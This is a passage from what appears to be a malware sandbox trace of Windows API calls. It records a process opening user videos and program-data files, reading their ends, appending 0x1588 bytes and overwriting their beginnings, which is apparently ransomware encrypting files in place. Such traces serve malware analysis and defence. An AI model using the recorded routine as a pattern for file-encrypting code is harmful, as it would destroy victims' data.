CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Q2E9PQ0u7N6bZccEkgE2.gif", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0051.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Q2E9PQ0u7N6bZccEkgE2.gif", cchWideChar=24, lpMultiByteStr=0x1e7fd2c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Q2E9PQ0u7N6bZccEkgE2.gif", lpUsedDefaultChar=0x0) returned 24 [0051.976] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.977] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8d23 [0051.977] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.977] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8d23 [0051.977] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.978] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.978] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.978] CloseHandle (hObject=0x1d4) returned 1 [0051.978] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aMNpj_0-uywx.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\amnpj_0-uywx.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.979] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.979] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x135b6 [0051.979] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.979] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.979] ReleaseMutex (hMutex=0x128) returned 1 [0051.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="aMNpj_0-uywx.avi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="aMNpj_0-uywx.avi", cchWideChar=16, lpMultiByteStr=0x1e7894c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aMNpj_0-uywx.avi", lpUsedDefaultChar=0x0) returned 16 [0051.979] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0052.367] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x125b6 [0052.367] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.368] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x125b6 [0052.368] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.368] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0052.368] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0052.368] CloseHandle (hObject=0x1d4) returned 1 [0052.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\4MpnIlcLtRgBa.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\4mpnilcltrgba.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0052.368] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0052.368] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x18937 [0052.369] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0052.369] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.369] ReleaseMutex (hMutex=0x128) returned 1 [0052.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4MpnIlcLtRgBa.mkv", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0052.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4MpnIlcLtRgBa.mkv", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4MpnIlcLtRgBa.mkv", lpUsedDefaultChar=0x0) returned 17 [0052.369] ReadFile (in: hFile=0x1d4, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0052.370] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x17937 [0052.370] ReadFile (in: hFile=0x1d4, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.370] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x17937 [0052.370] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.370] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0052.370] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0052.370] CloseHandle (hObject=0x1d4) returned 1 [0052.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\NtFT5XD5OWjnkb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\ntft5xd5owjnkb.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0052.371] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0052.371] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x350b [0052.371] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0052.371] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.371] ReleaseMutex (hMutex=0x128) returned 1 [0052.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NtFT5XD5OWjnkb.swf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0052.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NtFT5XD5OWjnkb.swf", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NtFT5XD5OWjnkb.swf", lpUsedDefaultChar=0x0) returned 18 [0052.371] ReadFile (in: hFile=0x1d4, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.652] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x250b [0052.652] ReadFile (in: hFile=0x1d4, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.652] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x250b [0052.652] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.652] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0052.652] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0052.652] CloseHandle (hObject=0x1d4) returned 1 [0052.652] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\NZFX8.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\nzfx8.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0052.852] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0052.852] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x803d [0052.852] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0052.852] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.852] ReleaseMutex (hMutex=0x128) returned 1 [0052.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NZFX8.mp4", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0052.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NZFX8.mp4", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NZFX8.mp4", lpUsedDefaultChar=0x0) returned 9 [0052.853] ReadFile (in: hFile=0x1a0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0052.854] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x703d [0052.854] ReadFile (in: hFile=0x1a0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.854] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x703d [0052.854] WriteFile (in: hFile=0x1a0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.854] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0052.854] WriteFile (in: hFile=0x1a0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0052.854] CloseHandle (hObject=0x1a0) returned 1 [0052.854] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.134] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.135] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x767 [0053.135] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.135] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.135] ReleaseMutex (hMutex=0x128) returned 1 [0053.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directories.acrodata", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0053.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directories.acrodata", cchWideChar=20, lpMultiByteStr=0x1e786cc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directories.acrodata", lpUsedDefaultChar=0x0) returned 20 [0053.135] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0x767, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x318f2bc*=0x767, lpOverlapped=0x0) returned 1 [0053.135] CloseHandle (hObject=0x1d4) returned 1 [0053.135] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.460] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x318f690*="background.png") returned 0x66 [0053.460] GetLastError () returned 0x5 [0053.460] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘꤀Ǧ\x01") returned 0x13 [0053.460] LocalFree (hMem=0x70b5a8) returned 0x0 [0053.460] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0053.460] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0053.460] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0053.460] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0053.460] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png")) returned 0x20 [0053.707] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.714] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.714] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x40270 [0053.714] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.714] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.714] ReleaseMutex (hMutex=0x128) returned 1 [0053.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cache.dat", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cache.dat", cchWideChar=9, lpMultiByteStr=0x1e630ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cache.dat", lpUsedDefaultChar=0x0) returned 9 [0053.717] ReadFile (in: hFile=0x1cc, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0053.730] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3f270 [0053.730] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dacf08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dacf08*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.732] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3f270 [0053.732] WriteFile (in: hFile=0x1cc, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.733] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0053.733] WriteFile (in: hFile=0x1cc, lpBuffer=0x27eecc8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0053.733] CloseHandle (hObject=0x1cc) returned 1 [0053.733] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.733] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.733] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6e0 [0053.733] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.733] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.733] ReleaseMutex (hMutex=0x128) returned 1 [0053.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSACCESS.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0053.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSACCESS.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x1e78974, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.MSACCESS.14.1033.hxn", lpUsedDefaultChar=0x0) returned 23 [0053.734] ReadFile (in: hFile=0x1cc, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6e0, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x318f2bc*=0x6e0, lpOverlapped=0x0) returned 1 [0053.734] CloseHandle (hObject=0x1cc) returned 1 [0053.734] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.734] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.734] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6e0 [0053.734] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.734] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.734] ReleaseMutex 